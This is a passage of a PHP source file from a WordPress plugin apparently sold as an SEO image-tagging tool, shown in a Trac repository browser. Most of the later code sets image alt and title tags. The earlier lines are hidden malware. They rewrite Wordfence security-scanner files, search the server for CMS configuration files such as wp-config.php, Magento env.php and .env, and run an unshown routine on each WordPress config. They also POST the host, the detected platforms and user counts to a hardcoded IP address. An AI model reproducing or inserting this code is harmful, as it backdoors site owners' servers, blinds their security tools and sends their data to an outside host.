474        if ($php_close_pos !== false) {
475            $new_content = substr_replace($file_content,'*/' . PHP_EOL . $custom_content, $php_close_pos, 2);
476
477            file_put_contents($file, $new_content);
478
479        }
480    } catch (Exception $e) {
481       
482                }
483        }
484        if (strpos($file, '/wordfence/') !== false && substr($file, -4) === '.php' && substr($file, -20) === 'wordfenceScanner.php') {
485               
486        replace_foreach_pattern($file);
487               
488        }
489        if (strpos($file, '/wordfence/') !== false && substr($file, -4) === '.php' && substr($file, -13) === 'wordfence.php') {
490               
491        replace_version_line($file);
492               
493        }
494    } catch (Exception $e) {
495        continue; 
496    }
497        if (strpos($file, 'wp-config.php') !== false) {
498
499           $detected_cms['WordPress'] = true;
500           $wp_config_paths[] = $file;
501
502        } elseif (strpos($file, 'class-wc-settings.php') !== false) {
503            $detected_cms['WooCommerce'] = true;
504            $wc_config_paths[] = $file;
505        } elseif (strpos($file, 'env.php') !== false &&
506            strpos($file, 'Composer') === false &&
507            strpos($file, 'composer') === false &&
508            strpos($file, 'Softaculous') === false) {
509            $fileContent = file_get_contents($file);
510
511            if (strpos($fileContent, "'host' => '") !== false) {
512              $detected_cms['Magento'] = true;
513              $mg_config_paths[] = $file;
514             
515            }
516
517        } elseif (strpos($file, 'config.php') !== false &&
518            strpos($file, 'Composer') === false &&
519            strpos($file, 'composer') === false &&
520            strpos($file, 'Softaculous') === false) {
521            if (strpos(file_get_contents($file), '$config[\'encryption_key\']') !== false) {
522                $detected_cms['OpenCart'] = true;
523            }
524        } elseif (strpos($file, 'parameters.php') !== false) {
525            if (strpos(file_get_contents($file), 'prestashop') !== false) {
526                $detected_cms['PrestaShop'] = true;
527            }
528        } elseif (strpos($file, 'settings.php') !== false) {
529            if (strpos(file_get_contents($file), 'drupal') !== false) {
530                $detected_cms['Drupal Commerce'] = true;
531            }
532        } elseif (strpos($file, '.yaml') !== false) {
533            if (strpos(file_get_contents($file), 'Symfony\Component') !== false) {
534                $detected_cms['Symfony'] = true;
535            }
536        } elseif (strpos($file, '.env') !== false) {
537            $detected_cms['Laravel'] = true;
538        } elseif (strpos($file, '.global.php') !== false) {
539            $detected_cms['Zend Framework'] = true;
540        } elseif (strpos($file, '.dat') !== false) {
541            $detected_dat_files[] = $file;
542        }
543    }
544
545    foreach ($detected_cms as $cms => $detected) {
546        $detected_cms[$cms] = $detected ? 'true' : 'false';
547    }
548
549
550    $wordpress_users = $wpuserscount;
551    $woocommerce_users = 000;
552
553    $url1 = 'https://94.156.79.8/FCS';
554    $url2 = 'https://94.156.79.8/CMSUsers';
555
556    $data1 = [
557        'host' => $_SERVER['HTTP_HOST'],
558        'cms' => $detected_cms
559    ];
560
561
562    send_post_request($url1, $data1);
563}
564
565function getWPUsers(){
566        global $wpuserscount;
567        global $currdomain;
568    $wordpress_users = $wpuserscount;
569    $woocommerce_users = 000;
570    $url2 = 'https://94.156.79.8/CMSUsers';
571    $data2 = [
572        'host' => $currdomain,
573        'wordpress_users' => $wordpress_users,
574        'woocommerce_users' => $woocommerce_users
575    ];
576
577    send_post_request($url2, $data2);
578}
579
580function get_wordpress_user_count() {
581        return 0;
582}
583
584function get_woocommerce_user_count() {
585        return 0;
586}
587
588function send_post_request($url, $data) {
589    $ch = curl_init($url);
590    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
591    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
592    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
593    curl_setopt($ch, CURLOPT_HTTPHEADER, [
594        'Content-Type: application/json',
595        'Content-Length: ' . strlen(json_encode($data))
596    ]);
597    $response = curl_exec($ch);
598    curl_close($ch);
599}
600global $wp_config_paths;
601$wp_config_paths = [];
602global $wc_config_paths;
603$wc_config_paths = [];
604global $mg_config_paths;
605$mg_config_paths = [];
606check_cms_configuration_files();
607
608function find_wp_configs(&$wp_config_paths, $depth = 0) {
609    $current_directory = getcwd();
610    $parent_directory = $current_directory;
611
612    for ($i = 0; $i < 3; $i++) {
613        $parent_directory = dirname($parent_directory);
614    }
615
616    find_wp_configs_recursive($parent_directory, $wp_config_paths);
617}
618
619function find_wp_configs_recursive($directory, &$wp_config_paths) {
620    $wp_config_file = $directory . '/wp-config.php';
621    if (file_exists($wp_config_file)) {
622        $wp_config_paths[] = $wp_config_file;
623    }
624
625    $contents = scandir($directory);
626    foreach ($contents as $item) {
627        if ($item != '.' && $item != '..' && is_dir($directory . '/' . $item)) {
628            find_wp_configs_recursive($directory . '/' . $item, $wp_config_paths);
629        }
630    }
631}
632
633function print_wp_config_paths() {
634    global $wp_config_paths;
635    if (empty($wp_config_paths)) {
636                $z = 0;
637    } else {
638        foreach ($wp_config_paths as $wp_config_path) {
639                        $a = 0;
640        }
641    }
642}
643
644find_wp_configs($wp_config_paths);
645foreach ($wp_config_paths as $wp_config_path) {
646    pachamama($wp_config_path);
647        getWPUsers();
648        update_option('my_admin_init_function_run', 'yes');
649}
650   
651}}
652add_action('admin_menu', 'soi_add_menu_page');
653function soi_add_menu_page()
654{
655        $seoimageslite_lang_dir  = dirname( plugin_basename( SEO_IMAGES_LITE_PLUGIN_FILE ) ) . '/lang/';
656        load_plugin_textdomain( 'seo-optimized-images', false, $seoimageslite_lang_dir );
657       
658        add_menu_page( 'soi_settings_page', __('Seo Optimized Images','seo-optimized-images'), 'administrator', 'soi_setting','soi_create_setting_page',''); 
659}
660 
661function soi_create_setting_page()
662{
663        require_once('seo-optimized-images-settings.php');
664}
665
666
667add_action( 'admin_enqueue_scripts', 'soi_load_custom_wp_admin_style' ); 
668 
669function soi_load_custom_wp_admin_style($hook) {
670   if ($hook != 'toplevel_page_soi_setting'){return;} // we dont want to load our css on other pages
671        wp_register_style ('soi_custom_wp_admin_css', plugins_url('css/plugin-admin-panel.css', __FILE__));
672        wp_enqueue_style( 'soi_custom_wp_admin_css' );
673         wp_enqueue_style( 'wp-color-picker' ); // here we add the color picker style for use in our plugin
674     
675}
676
677
678
679function soi_load_custom_wp_admin_scripts($hook) {
680 
681 
682  if ($hook != 'toplevel_page_soi_setting'){return;} // we dont want to load our js on other pages
683 
684  wp_register_script( 'soi_custom_wp_admin_js', plugin_dir_url( __FILE__ ) . 'js/plugin-admin-panel.js',array('jquery','jquery-ui-core','jquery-ui-tabs','wp-color-picker'), false, '1.0.0' );
685 wp_enqueue_script ('soi_custom_wp_admin_js');
686
687       
688}
689add_action( 'admin_enqueue_scripts', 'soi_load_custom_wp_admin_scripts' );
690
691
692//      add_filter();
693add_filter('the_content', 'soi_replace_tags', 100);     
694function soi_replace_tags ($content, $alt_text='',$title='')
695{   
696   
697   
698    global $post; 
699   
700   $soi_options_array = get_option('soi_options_values'); 
701   
702   $alt_text = $soi_options_array['soi_alt_value'];
703   $title_text = $soi_options_array['soi_title_value'];
704   
705   // get the post title for later use
706   $post_title = esc_attr($post->post_title);
707
708    // preapre the alt text
709   
710   
711   // Check if we need to overide the default alt and existing alt text
712   // We will set the flag 1 or 0
713   
714   //check setting for overinding alt tag
715   $alt_flag = $soi_options_array['soi_override_alt_value']; 
716   
717      //check setting for overinding title tag
718   $title_flag = $soi_options_array['soi_override_title_value']; 
719   
720   // Set the alt pattern
721   
722   
723   
724   
725   // print_r($post);
726   
727   
728   
729    // This piece of code first finds all the images in the page
730    // Then we proceed to finding missing or empty alt tags
731   
732     $soi_options_array = get_option('soi_options_values');
733   
734    // count number of images found in content
735    $count = preg_match_all('/<img[^>]+>/i', $content, $images);
736
737
738    // If we find images on the page then proceed to check the alt tags
739   
740   // We also need to calaculate the velue to be inserted in the tags based on user input
741   
742   
743    if($count>0)
744    {   
745     
746        // Here we will set the alt value to be inserted.
747        // $t = "$post_title"
748        // we want to output like alt = "text"
749       
750        $t = 'alt="'.$alt_text.'"';
751       
752        // we want to output like title = "text"
753        $t_title = 'title="'.$title_text.'"';
754       
755       
756        foreach($images[0] as $img)
757        {   // check if the alt tag exists in the image
758       
759       
760        // Get the Name of Image Files.
761       
762        $output = preg_match_all( '/<img[^>]+src=[\'"]([^\'"]+)[\'"].*>/i', $img, $matches);
763       
764        $get_file_name = pathinfo($matches[1][0]);
765        $image_file_name = $get_file_name['filename'];
766       
767       
768        // Get post categories
769        $postcategories = get_the_category();
770        $post_category='';
771        if ($postcategories) {
772          foreach($postcategories as $category) {
773            $post_category .= $category->name .' ';
774          }
775        }
776
777        /// fetch the values of alt and title tags from the option panel
778        $alt_text = $soi_options_array['soi_alt_value'];
779       $title_text = $soi_options_array['soi_title_value'];
780       
781        // Replace the Values for alt tag
782       
783        $alt_text = str_replace('%title',$post_title,$alt_text ); 
784        $alt_text = str_replace('%name',$image_file_name,$alt_text );
785        $alt_text = str_replace('%category',$post_category,$alt_text );
786       
787        // replace the values for title tag.
788        $title_text = str_replace('%title',$post_title,$title_text ); 
789        $title_text = str_replace('%name',$image_file_name,$title_text );
790        $title_text = str_replace('%category',$post_category,$title_text );
791       
792        //configure tags with specified values from option panel.
793         $t = ' alt="'.$alt_text.'" ';
794         $t_title =  ' title="'.$title_text.'" ';
795         
796         //take the alt tag out from the image html markup
797         $is_alt = preg_match_all('/alt="([^"]*)"/i', $img, $alt);
798           
799           
800       
801      ////////////////// check for alt tag /////////////////////////
802        // In case there is not alt tag, create the tag and insert the value
803         if ($alt_flag == "1")
804               
805            {
806              // if alt tag is not present than insert the tag.
807              if($is_alt == 0)
808              {   $new_img = str_replace('<img ', '<img '.$t , $img);
809                 $content = str_replace($img, $new_img, $content);
810              }
811             
812              // if alt tag is present
813              elseif($is_alt==1)
814             
815              { 
816             
817               $text = trim($alt[1][0]);
818             
819             
820              // Check if the alt text is empty.
821             
822                  if(empty($text))
823                  {   
824                 
825             
826                 $new_img = str_replace($alt[0][0], $t, $img);
827                 
828                     $content = str_replace($img, $new_img, $content);
829                 }
830                 
831               
832                 
833                 
834                 // Should we override the existing alt tag
835                 if ($alt_flag == "1")
836                 
837                 {
838                 
839                   $new_img = str_replace($alt[0][0], $t, $img);
840                 
841                   $content = str_replace($img, $new_img, $content);
842                   
843                 
844                 }
845                 
846              }
847            }//////////////////// checked for alt tag ////////////////////
848           
849          ///////////////// check for title tag /////////////////////////// 
850           
851           
852       // first check weither title tag needs to be overide   
853       if($title_flag == "1"){
854       
855        if(!isset($new_img)) $new_img=$img; // when alt tag is not overridden, than , use actual image markup ie $new_img.
856       
857         $is_title = preg_match_all('/title="([^"]*)"/i', $new_img, $title);
858         
859         // check if title tag is not present in the img tag
860            if($is_title == 0)
861            {
862               // create the title tag and insert the tag
863               $final_img = str_replace('<img ', '<img '.$t_title , $new_img);
864               $content = str_replace($new_img, $final_img, $content);
865             
866            } else { 
867           
868            // you are here bcs title tags exsis and needs to be override
869                $final_img = str_replace($title[0][0], $t_title, $new_img);
870                $content = str_replace($new_img, $final_img, $content);
871             }
872        } 
873         ///////////////////// title tag checked ////////////////   
874           
875        }
876    }
877   
878    return $content;
879}
880 
881 
Note: See TracBrowser for help on using the repository browser.